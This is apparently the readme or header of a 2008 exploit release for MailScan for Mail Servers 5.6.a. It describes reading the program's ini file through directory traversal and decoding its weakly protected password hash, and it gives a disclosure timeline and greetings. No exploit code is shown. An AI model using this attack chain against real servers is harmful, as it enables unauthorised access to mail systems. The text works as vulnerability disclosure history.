Exploit based on the advisory from Oliver Karow @
http://securityvulns.com/Udocument375.html
- MailScan for Mail Servers
* Version: 5.6.a with espatch1
* Win32 Platform
Other Mailscan Products, Versions, also, if available
for other platforms, were not tested.
I used the Directory Traversal methode to access the ini file of mailscan
application to gain some importend data.
After some research i found out that the password algorithm was extreamly
weak. So i decided to code a exploit for it.
15. Aug. 2008 - Advisory release
20. Aug. 2008 - SlaYeR founds out about the advisory
21. Aug. 2008 - Found out about the ini file
22. Aug. 2008 - Found out about the weak algorithm and coded a sploit for it.
25. Aug. 2008 - Private version done.
04. Sep. 2008 - Hotfix released by Microworld.
09. Sep. 2008 - Public release
Some special greets to:
Dams - He helped me with some stupid errors inside the decode_hash function
JGS - He helped me with the spliting hash part
Mikke8 - He didn't helped me but i like hem;)
Team Ph0enix - Cuz they Own
